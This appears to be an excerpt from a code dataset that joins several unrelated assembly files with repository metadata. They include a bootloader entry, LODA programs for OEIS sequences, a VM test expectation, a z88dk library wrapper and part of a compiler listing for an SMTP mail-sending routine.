ldrh r1,[r0,#0]
cmp r1,#5
bne +
ldrb r0,[r3,#0] //Make it so this is properly added only once we can get the input
cmp r0,#4
bne +
mov r1,#0x86
add r1,r1,r3
ldrb r1,[r1,#0]
cmp r1,#0x10 //Is this the file selection menu?
bne +
mov r1,#0x16
add r1,r1,r3
ldrh r0,[r1,#0]
cmp r0,#0x16 //Have a 6 frames windows for the fadein to properly end
bne +
mov r0,#5
strb r0,[r3,#0]
+
pop {r0-r3}
ldrb r0,[r0,#0] //Clobbered code
lsl r0,r0,#0x1F
pop {pc}
| 27.378051 | 214 | 0.508653 |
094b76ed6e20e2984cca1f564f38382a9bda008d | 492 | asm | Assembly | testsuite/ubivm/expected/repeat_until_1.asm | alexgarzao/UOP | 12460841ff2b9991d2f7f461635b1f551413823f | [
"MIT"
] | null | null | null | testsuite/ubivm/expected/repeat_until_1.asm | alexgarzao/UOP | 12460841ff2b9991d2f7f461635b1f551413823f | [
"MIT"
] | null | null | null | testsuite/ubivm/expected/repeat_until_1.asm | alexgarzao/UOP | 12460841ff2b9991d2f7f461635b1f551413823f | [
"MIT"
] | null | null | null | Entity start
No options
Constants
0 S start
1 S x
2 I 1
3 S x=
4 I 2
5 S io.writeln
6 I 10
End
Valid context (always)
No properties
Def start
No parameters
Local variables
0 int x
End
No results
ldconst 2 --> [1]
stvar 0 --> [x]
2: ldconst 3 --> [x=]
ldvar 0 --> [x]
ldconst 4 --> [2]
lcall 5 --> [io.writeln]
ldvar 0 --> [x]
ldconst 2 --> [1]
add
stvar 0 --> [x]
ldvar 0 --> [x]
ldconst 6 --> [10]
gt
ifnot 2 --> [2]
stop
End
End
| 13.297297 | 26 | 0.54065 |
87b5e53a39d62633d5d9a4f796687b80dd434adc | 471 | asm | Assembly | src/loader/ent.asm | marvinborner/SegelBoot | c9b5256eb58fd4dce5b027c1a2aadaaf2638c33b | [
"MIT"
] | 1 | 2021-07-04T23:19:29.000Z | 2021-07-04T23:19:29.000Z | src/loader/ent.asm | marvinborner/SegelBoot | c9b5256eb58fd4dce5b027c1a2aadaaf2638c33b | [
"MIT"
] | null | null | null | src/loader/ent.asm | marvinborner/SegelBoot | c9b5256eb58fd4dce5b027c1a2aadaaf2638c33b | [
"MIT"
] | null | null | null | ; MIT License, Copyright (c) 2021 Marvin Borner
extern bss_begin
extern bss_end
extern start
extern gdt
section .entry
global _start
_start:
cld
; Clear bss section
xor al, al
mov edi, bss_begin
mov ecx, bss_end
sub ecx, bss_begin
rep stosb
lgdt [gdt] ; Load GDT
jmp 0x18:.reload_cs ; Use third GDT segment for code
.reload_cs:
mov eax, 0x20 ; Use fourth GDT segment for data/other
mov ds, ax
mov es, ax
mov fs, ax
mov gs, ax
mov ss, ax
jmp start
| 13.852941 | 54 | 0.717622 |
d95390b2fb908cbe2613624f24e72eb1be709c48 | 633 | asm | Assembly | programs/oeis/089/A089643.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/089/A089643.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/089/A089643.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A089643: 3^a(n) divides C(3n,n); 3-adic valuation of A005809.
; 0,1,1,1,2,1,1,2,2,1,2,2,2,3,1,1,2,2,1,2,2,2,3,2,2,3,3,1,2,2,2,3,2,2,3,3,2,3,3,3,4,1,1,2,2,1,2,2,2,3,2,2,3,3,1,2,2,2,3,2,2,3,3,2,3,3,3,4,2,2,3,3,2,3,3,3,4,3,3,4,4,1,2,2,2,3,2,2,3,3,2,3,3,3,4,2,2,3,3,2,3,3,3,4,3,3,4,4,2,3,3,3,4,3,3,4,4,3,4,4,4,5,1,1,2,2,1,2,2,2,3,2,2,3,3,1,2,2,2,3,2,2,3,3,2,3,3,3,4,2,2,3,3,2,3,3,3,4,3,3,4,4,1,2,2,2,3,2,2,3,3,2,3,3,3,4,2,2,3,3,2,3,3,3,4,3,3,4,4,2,3,3,3,4,3,3,4,4,3,4,4,4,5,2,2,3,3,2,3,3,3,4,3,3,4,4,2,3,3,3,4,3,3,4,4,3,4,4,4,5,3,3,4,4,3,4,4,4,5,4,4,5,5,1,2,2,2,3,2,2
mov $1,$0
mov $2,$0
add $2,$0
lpb $1,1
div $2,3
sub $1,$2
lpe
| 57.545455 | 501 | 0.516588 |
ed757639be7d919f8d0b33cd12db9cca191a444e | 175 | asm | Assembly | libsrc/_DEVELOPMENT/adt/w_vector/c/sccz80/w_vector_clear.asm | teknoplop/z88dk | bb03fbfd6b2ab0f397a1358559089f9cd3706485 | [
"ClArtistic"
] | 8 | 2017-01-18T12:02:17.000Z | 2021-06-12T09:40:28.000Z | libsrc/_DEVELOPMENT/adt/w_vector/c/sccz80/w_vector_clear.asm | teknoplop/z88dk | bb03fbfd6b2ab0f397a1358559089f9cd3706485 | [
"ClArtistic"
] | 1 | 2017-03-06T07:41:56.000Z | 2017-03-06T07:41:56.000Z | libsrc/_DEVELOPMENT/adt/w_vector/c/sccz80/w_vector_clear.asm | teknoplop/z88dk | bb03fbfd6b2ab0f397a1358559089f9cd3706485 | [
"ClArtistic"
] | 3 | 2017-03-07T03:19:40.000Z | 2021-09-15T17:59:19.000Z |
; void w_vector_clear(w_vector_t *v)
SECTION code_clib
SECTION code_adt_w_vector
PUBLIC w_vector_clear
EXTERN asm_w_vector_clear
defc w_vector_clear = asm_w_vector_clear
| 14.583333 | 40 | 0.851429 |
abdcc828d5096ed28c7c44da1cb9fcae5bd304d0 | 1,585 | asm | Assembly | programs/oeis/005/A005766.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/005/A005766.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | programs/oeis/005/A005766.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | ; A005766: a(n) = cost of minimal multiplication-cost addition chain for n.
; 0,1,3,5,9,12,18,21,29,34,44,48,60,67,81,85,101,110,128,134,154,165,187,192,216,229,255,263,291,306,336,341,373,390,424,434,470,489,527,534,574,595,637,649,693,716,762,768,816,841,891,905,957,984,1038,1047,1103,1132,1190,1206,1266,1297,1359,1365,1429,1462,1528,1546,1614,1649,1719,1730,1802,1839,1913,1933,2009,2048,2126,2134,2214,2255,2337,2359,2443,2486,2572,2585,2673,2718,2808,2832,2924,2971,3065,3072,3168,3217,3315,3341,3441,3492,3594,3609,3713,3766,3872,3900,4008,4063,4173,4183,4295,4352,4466,4496,4612,4671,4789,4806,4926,4987,5109,5141,5265,5328,5454,5461,5589,5654,5784,5818,5950,6017,6151,6170,6306,6375,6513,6549,6689,6760,6902,6914,7058,7131,7277,7315,7463,7538,7688,7709,7861,7938,8092,8132,8288,8367,8525,8534,8694,8775,8937,8979,9143,9226,9392,9415,9583,9668,9838,9882,10054,10141,10315,10329,10505,10594,10772,10818,10998,11089,11271,11296,11480,11573,11759,11807,11995,12090,12280,12288,12480,12577,12771,12821,13017,13116,13314,13341,13541,13642,13844,13896,14100,14203,14409,14425,14633,14738,14948,15002,15214,15321,15535,15564,15780,15889,16107,16163,16383,16494,16716,16727,16951,17064,17290,17348,17576,17691,17921,17952,18184,18301,18535,18595,18831,18950,19188,19206,19446,19567,19809,19871,20115,20238,20484,20517,20765,20890
mov $2,$0
mov $5,$0
lpb $2
mov $0,$5
sub $2,1
sub $0,$2
add $0,4
mov $4,3
lpb $0
mov $3,$0
div $0,2
gcd $3,2
pow $0,$3
add $0,2
add $4,1
lpe
mov $3,$4
add $3,$0
add $3,1
mov $6,$3
sub $6,8
add $1,$6
lpe
| 58.703704 | 1,254 | 0.737539 |
205627d61cafa83a41a79449d60608692ea85a5f | 642 | asm | Assembly | oeis/104/A104674.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/104/A104674.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/104/A104674.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A104674: a(n) = binomial(n+6, 6) * binomial(n+11, n).
; Submitted by Jon Maiga
; 1,84,2184,30576,286650,2018016,11435424,54609984,226972746,840639800,2824549728,8730426432,25099975992,67725379008,172768824000,419252346240,972796459635,2167754048460,4656656844840,9674494830000,19494107082450,38192536324800,72913023892800,135902157955200,247738308772500,442361524144176,774787048205184,1332761259875584,2254134477799776,3752423625350400,6153974745574656,9951380597942784,15879449118201669,25022162246863236,38961844329025800,59985337473096048,91366555688187962,137750599664295072
mov $2,$0
add $2,6
bin $2,$0
add $0,11
bin $0,11
mul $0,$2
| 58.363636 | 500 | 0.847352 |
f25347dd0b1782de36eeb2d7427837a1e7550a95 | 113,590 | asm | Assembly | Source/vs/mail.asm | LeGone/daspirum | 21b904140fd51e881f38d43a8d0af0befdfc5cea | [
"MIT"
] | null | null | null | Source/vs/mail.asm | LeGone/daspirum | 21b904140fd51e881f38d43a8d0af0befdfc5cea | [
"MIT"
] | null | null | null | Source/vs/mail.asm | LeGone/daspirum | 21b904140fd51e881f38d43a8d0af0befdfc5cea | [
"MIT"
] | null | null | null | ; Listing generated by Microsoft (R) Optimizing Compiler Version 16.00.40219.01
TITLE C:\Work\daspirum\Source\src\mail.cpp
.686P
.XMM
include listing.inc
.model flat
INCLUDELIB OLDNAMES
$SG-68394 DB 00H
$SG-68395 DB 00H
$SG-68214 DB 'config.cfg', 00H
ORG $+1
$SG-68215 DB 'mail', 00H
ORG $+3
$SG-68216 DB 'smtp_address', 00H
ORG $+3
$SG-68217 DB 'mail', 00H
ORG $+3
$SG-68218 DB 'smtp_port', 00H
ORG $+2
$SG-68219 DB '#000000', 00H
$SG-68220 DB 'Mail-S: ', 00H
ORG $+3
$SG-68221 DB 'EHLO exp-clan.com', 0dH, 0aH, 00H
$SG-68222 DB '#000000', 00H
$SG-68223 DB 'Mail-C: ', 00H
ORG $+3
$SG-68224 DB '#000000', 00H
$SG-68225 DB 'Mail-S: ', 00H
ORG $+3
$SG-68226 DB '>', 0dH, 0aH, 00H
$SG-68227 DB 'MAIL FROM:<daspirum@', 00H
ORG $+3
$SG-68228 DB '#000000', 00H
$SG-68229 DB 'Mail-C: ', 00H
ORG $+3
$SG-68230 DB '#000000', 00H
$SG-68231 DB 'Mail: ', 00H
ORG $+1
$SG-68232 DB '>', 0dH, 0aH, 00H
$SG-68233 DB 'RCPT TO:<', 00H
ORG $+2
$SG-68234 DB '#000000', 00H
$SG-68235 DB 'Mail: ', 00H
ORG $+1
$SG-68236 DB 'DATA', 0dH, 0aH, 00H
ORG $+1
$SG-68237 DB '#000000', 00H
$SG-68238 DB 'Mail: ', 00H
ORG $+1
$SG-68239 DB 0dH, 0aH, 00H
ORG $+1
$SG-68240 DB 'From: daspirum@', 00H
$SG-68241 DB '>', 0dH, 0aH, 00H
$SG-68242 DB 'To: <', 00H
ORG $+2
$SG-68243 DB 0dH, 0aH, 00H
ORG $+1
$SG-68244 DB 'Subject: ', 00H
ORG $+2
$SG-68245 DB 0dH, 0aH, 00H
ORG $+1
$SG-68246 DB 0dH, 0aH, 00H
ORG $+1
$SG-68247 DB '.', 0dH, 0aH, 00H
$SG-68248 DB '#000000', 00H
$SG-68249 DB 'Mail: ', 00H
ORG $+1
$SG-68250 DB 'QUIT', 00H
ORG $+3
$SG-68251 DB '#000000', 00H
$SG-68252 DB 'Mail: ', 00H
ORG $+1
$SG-68253 DB 'mail::sendMail', 00H
ORG $+1
$SG-68254 DB '..\src\mail.cpp', 00H
$SG-68255 DB 'Unknown error!', 00H
ORG $+1
$SG-68256 DB 'mail::sendMail', 00H
ORG $+1
$SG-68257 DB '..\src\mail.cpp', 00H
$SG-68302 DB '.', 0aH, 00H
ORG $+1
$SG-68303 DB 0aH, 0aH, 'Error detected at line ', 00H
ORG $+2
$SG-68304 DB '.', 0aH, 00H
ORG $+1
$SG-68305 DB 'e:\library\dlib\dlib\set/set_kernel_c.h', 00H
$SG-68306 DB 'Error detected in file ', 00H
$SG-68307 DB '.', 0aH, 0aH, 00H
$SG-68309 DB 'Error detected in function ', 00H
$SG-68308 DB 'void __thiscall dlib::set_kernel_c<class dlib::set_kerne'
DB 'l_1<unsigned long,class dlib::binary_search_tree_kernel_2<uns'
DB 'igned long,char,class dlib::memory_manager_kernel_2<char,100>'
DB ',struct std::less<unsigned long> >,class dlib::memory_manager'
DB '_kernel_2<char,100> > >::remove_any(unsigned long &)', 00H
$SG-68310 DB '.', 0aH, 00H
ORG $+1
$SG-68311 DB 'this->size() != 0', 00H
ORG $+2
$SG-68312 DB 'Failing expression was ', 00H
$SG-68313 DB 0aH, 00H
ORG $+2
$SG-68314 DB 0aH, 09H, 'this: ', 00H
ORG $+3
$SG-68315 DB 0aH, 09H, 'size must be greater than zero if an item is t'
DB 'o be removed', 00H
ORG $+3
$SG-68316 DB 09H, 'void set::remove_any', 00H
ORG $+2
$SG-68317 DB '.', 0aH, 00H
ORG $+1
$SG-68318 DB 0aH, 0aH, 'Error detected at line ', 00H
ORG $+2
$SG-68319 DB '.', 0aH, 00H
ORG $+1
$SG-68320 DB 'e:\library\dlib\dlib\set/set_kernel_c.h', 00H
$SG-68321 DB 'Error detected in file ', 00H
$SG-68322 DB '.', 0aH, 0aH, 00H
$SG-68324 DB 'Error detected in function ', 00H
$SG-68323 DB 'const unsigned long &__thiscall dlib::set_kernel_c<class'
DB ' dlib::set_kernel_1<unsigned long,class dlib::binary_search_t'
DB 'ree_kernel_2<unsigned long,char,class dlib::memory_manager_ke'
DB 'rnel_2<char,100>,struct std::less<unsigned long> >,class dlib'
DB '::memory_manager_kernel_2<char,100> > >::element(void) const', 00H
$SG-68325 DB '.', 0aH, 00H
ORG $+1
$SG-68326 DB 'this->current_element_valid() == true', 00H
ORG $+2
$SG-68327 DB 'Failing expression was ', 00H
$SG-68328 DB 0aH, 00H
ORG $+2
$SG-68329 DB 0aH, 09H, 'this: ', 00H
ORG $+3
$SG-68330 DB 0aH, 09H, 'you can''t access the current element if it do'
DB 'esn''t exist', 00H
ORG $+1
$SG-68331 DB 09H, 'const T& set::element() const', 00H
ORG $+1
$SG-68332 DB '.', 0aH, 00H
ORG $+1
$SG-68333 DB 0aH, 0aH, 'Error detected at line ', 00H
ORG $+2
$SG-68334 DB '.', 0aH, 00H
ORG $+1
$SG-68335 DB 'e:\library\dlib\dlib\set/set_kernel_c.h', 00H
$SG-68336 DB 'Error detected in file ', 00H
$SG-68337 DB '.', 0aH, 0aH, 00H
$SG-68339 DB 'Error detected in function ', 00H
$SG-68338 DB 'const unsigned long &__thiscall dlib::set_kernel_c<class'
DB ' dlib::set_kernel_1<unsigned long,class dlib::binary_search_t'
DB 'ree_kernel_2<unsigned long,char,class dlib::memory_manager_ke'
DB 'rnel_2<char,100>,struct std::less<unsigned long> >,class dlib'
DB '::memory_manager_kernel_2<char,100> > >::element(void)', 00H
ORG $+2
$SG-68340 DB '.', 0aH, 00H
ORG $+1
$SG-68341 DB 'this->current_element_valid() == true', 00H
ORG $+2
$SG-68342 DB 'Failing expression was ', 00H
$SG-68343 DB 0aH, 00H
ORG $+2
$SG-68344 DB 0aH, 09H, 'this: ', 00H
ORG $+3
$SG-68345 DB 0aH, 09H, 'you can''t access the current element if it do'
DB 'esn''t exist', 00H
ORG $+1
$SG-68346 DB 09H, 'const T& set::element', 00H
ORG $+1
$SG-68347 DB '.', 0aH, 00H
ORG $+1
$SG-68348 DB 0aH, 0aH, 'Error detected at line ', 00H
ORG $+2
$SG-68349 DB '.', 0aH, 00H
ORG $+1
$SG-68351 DB 'Error detected in file ', 00H
$SG-68352 DB '.', 0aH, 0aH, 00H
$SG-68350 DB 'e:\library\dlib\dlib\binary_search_tree/binary_search_tr'
DB 'ee_kernel_c.h', 00H
ORG $+2
$SG-68353 DB 'void __thiscall dlib::binary_search_tree_kernel_c<class '
DB 'dlib::binary_search_tree_kernel_2<unsigned long,class dlib::m'
DB 'ember_function_pointer<void,void,void,void>,class dlib::memor'
DB 'y_manager_kernel_2<char,10>,struct std::less<unsigned long> >'
DB ' >::remove_any(unsigned long &,class dlib::member_function_po'
DB 'inter<void,void,void,void> &)', 00H
ORG $+2
$SG-68354 DB 'Error detected in function ', 00H
$SG-68355 DB '.', 0aH, 00H
ORG $+1
$SG-68357 DB 'Failing expression was ', 00H
$SG-68358 DB 0aH, 00H
ORG $+2
$SG-68356 DB 'this->size() != 0 && (static_cast<const void*>(&d) != st'
DB 'atic_cast<void*>(&r))', 00H
ORG $+2
$SG-68359 DB 0aH, 09H, '&r: ', 00H
ORG $+3
$SG-68360 DB 0aH, 09H, '&d: ', 00H
ORG $+3
$SG-68361 DB 0aH, 09H, 'this: ', 00H
ORG $+3
$SG-68362 DB 0aH, 09H, 'tree must not be empty if something is going t'
DB 'o be removed', 00H
ORG $+3
$SG-68363 DB 09H, 'void binary_search_tree::remove_any', 00H
ORG $+3
$SG-68364 DB '.', 0aH, 00H
ORG $+1
$SG-68365 DB 0aH, 0aH, 'Error detected at line ', 00H
ORG $+2
$SG-68366 DB '.', 0aH, 00H
ORG $+1
$SG-68367 DB 'e:\library\dlib\dlib\binary_search_tree/binary_search_tr'
DB 'ee_kernel_c.h', 00H
ORG $+2
$SG-68368 DB 'Error detected in file ', 00H
$SG-68369 DB '.', 0aH, 0aH, 00H
$SG-68371 DB 'Error detected in function ', 00H
$SG-68370 DB 'class dlib::map_pair<unsigned long,class dlib::member_fu'
DB 'nction_pointer<void,void,void,void> > &__thiscall dlib::binar'
DB 'y_search_tree_kernel_c<class dlib::binary_search_tree_kernel_'
DB '2<unsigned long,class dlib::member_function_pointer<void,void'
DB ',void,void>,class dlib::memory_manager_kernel_2<char,10>,stru'
DB 'ct std::less<unsigned long> > >::element(void)', 00H
ORG $+1
$SG-68372 DB '.', 0aH, 00H
ORG $+1
$SG-68373 DB 'this->current_element_valid() == true', 00H
ORG $+2
$SG-68374 DB 'Failing expression was ', 00H
$SG-68375 DB 0aH, 00H
ORG $+2
$SG-68376 DB 0aH, 09H, 'this: ', 00H
ORG $+3
$SG-68377 DB 0aH, 09H, 'you can''t access the current element if it do'
DB 'esn''t exist', 00H
ORG $+1
$SG-68378 DB 09H, 'map_pair<domain,range>& binary_search_tree::element'
DB '()', 00H
ORG $+1
$SG-68379 DB '.', 0aH, 00H
ORG $+1
$SG-68380 DB 0aH, 0aH, 'Error detected at line ', 00H
ORG $+2
$SG-68381 DB '.', 0aH, 00H
ORG $+1
$SG-68382 DB 'e:\library\dlib\dlib\binary_search_tree/binary_search_tr'
DB 'ee_kernel_c.h', 00H
ORG $+2
$SG-68383 DB 'Error detected in file ', 00H
$SG-68384 DB '.', 0aH, 0aH, 00H
$SG-68386 DB 'Error detected in function ', 00H
$SG-68385 DB 'const class dlib::map_pair<unsigned long,class dlib::mem'
DB 'ber_function_pointer<void,void,void,void> > &__thiscall dlib:'
DB ':binary_search_tree_kernel_c<class dlib::binary_search_tree_k'
DB 'ernel_2<unsigned long,class dlib::member_function_pointer<voi'
DB 'd,void,void,void>,class dlib::memory_manager_kernel_2<char,10'
DB '>,struct std::less<unsigned long> > >::element(void) const', 00H
ORG $+1
$SG-68387 DB '.', 0aH, 00H
ORG $+1
$SG-68388 DB 'this->current_element_valid() == true', 00H
ORG $+2
$SG-68389 DB 'Failing expression was ', 00H
$SG-68390 DB 0aH, 00H
ORG $+2
$SG-68391 DB 0aH, 09H, 'this: ', 00H
ORG $+3
$SG-68392 DB 0aH, 09H, 'you can''t access the current element if it do'
DB 'esn''t exist', 00H
ORG $+1
$SG-68393 DB 09H, 'const map_pair<domain,range>& binary_search_tree::e'
DB 'lement() const', 00H
ORG $+1
$SG-68402 DB '_-.', 00H
$SG-68403 DB ' ', 09H, 0dH, 0aH, 00H
PUBLIC __$ArrayPad$
PUBLIC ?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z ; mail::sendMail
; COMDAT xdata$x
; File c:\work\daspirum\source\src\mail.cpp
xdata$x SEGMENT
__unwindtable$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z DD 0ffffffffH
DD FLAT:__unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$3
DD 00H
DD FLAT:__unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$4
DD 01H
DD FLAT:__unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$5
DD 02H
DD 00H
DD 03H
DD FLAT:__unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$6
DD 04H
DD FLAT:__unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$7
DD 03H
DD FLAT:__unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$7
DD 06H
DD FLAT:__unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$8
DD 07H
DD FLAT:__unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$9
DD 08H
DD FLAT:__unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$10
DD 09H
DD FLAT:__unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$11
DD 08H
DD FLAT:__unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$11
DD 07H
DD FLAT:__unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$11
DD 0cH
DD FLAT:__unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$12
DD 0dH
DD FLAT:__unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$13
DD 0eH
DD FLAT:__unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$14
DD 0dH
DD FLAT:__unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$14
DD 0cH
DD FLAT:__unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$14
DD 011H
DD FLAT:__unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$15
DD 011H
DD FLAT:__unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$18
DD 011H
DD FLAT:__unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$20
DD 014H
DD FLAT:__unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$21
DD 011H
DD FLAT:__unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$23
DD 011H
DD FLAT:__unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$25
DD 017H
DD FLAT:__unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$26
DD 011H
DD FLAT:__unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$27
DD 011H
DD FLAT:__unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$29
DD 011H
DD FLAT:__unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$31
DD 01bH
DD FLAT:__unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$32
DD 011H
DD FLAT:__unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$33
DD 01dH
DD FLAT:__unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$34
DD 011H
DD FLAT:__unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$35
DD 01fH
DD FLAT:__unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$36
DD 011H
DD FLAT:__unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$37
DD 011H
DD FLAT:__unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$38
DD 011H
DD FLAT:__unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$40
DD 02H
DD 00H
__catchsym$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$44 DD 08H
DD FLAT:??_R0?AVexception@std@@@8
DD 0fffffbb0H
DD FLAT:__catch$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$0
DD 040H
DD 00H
DD 00H
DD FLAT:__catch$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$1
__tryblocktable$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z DD 03H
DD 023H
DD 024H
DD 02H
DD FLAT:__catchsym$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$44
__ehfuncinfo$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z DD 019930522H
DD 025H
DD FLAT:__unwindtable$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z
DD 01H
DD FLAT:__tryblocktable$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z
DD 2 DUP(00H)
DD 00H
DD 01H
; Function compile flags: /Odtp
xdata$x ENDS
; COMDAT ?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z
_TEXT SEGMENT
tv763 = -1416 ; size = 4
tv760 = -1412 ; size = 4
tv758 = -1408 ; size = 4
tv755 = -1404 ; size = 4
tv796 = -1400 ; size = 4
tv746 = -1396 ; size = 4
tv743 = -1392 ; size = 4
tv795 = -1388 ; size = 4
tv734 = -1384 ; size = 4
tv794 = -1380 ; size = 4
tv732 = -1376 ; size = 4
tv793 = -1372 ; size = 4
tv730 = -1368 ; size = 4
tv792 = -1364 ; size = 4
tv728 = -1360 ; size = 4
tv791 = -1356 ; size = 4
tv726 = -1352 ; size = 4
tv790 = -1348 ; size = 4
tv724 = -1344 ; size = 4
tv789 = -1340 ; size = 4
tv722 = -1336 ; size = 4
tv788 = -1332 ; size = 4
tv720 = -1328 ; size = 4
tv717 = -1324 ; size = 4
tv787 = -1320 ; size = 4
tv708 = -1316 ; size = 4
tv705 = -1312 ; size = 4
tv786 = -1308 ; size = 4
tv696 = -1304 ; size = 4
tv785 = -1300 ; size = 4
tv694 = -1296 ; size = 4
tv784 = -1292 ; size = 4
tv692 = -1288 ; size = 4
tv689 = -1284 ; size = 4
tv783 = -1280 ; size = 4
tv680 = -1276 ; size = 4
tv677 = -1272 ; size = 4
tv782 = -1268 ; size = 4
tv675 = -1264 ; size = 4
tv781 = -1260 ; size = 4
tv673 = -1256 ; size = 4
tv670 = -1252 ; size = 4
tv780 = -1248 ; size = 4
tv661 = -1244 ; size = 4
tv658 = -1240 ; size = 4
tv655 = -1236 ; size = 4
tv129 = -1232 ; size = 4
tv779 = -1228 ; size = 4
tv778 = -1222 ; size = 2
tv777 = -1220 ; size = 4
tv776 = -1216 ; size = 4
tv775 = -1212 ; size = 4
tv774 = -1208 ; size = 4
tv773 = -1204 ; size = 4
tv772 = -1200 ; size = 4
tv771 = -1196 ; size = 4
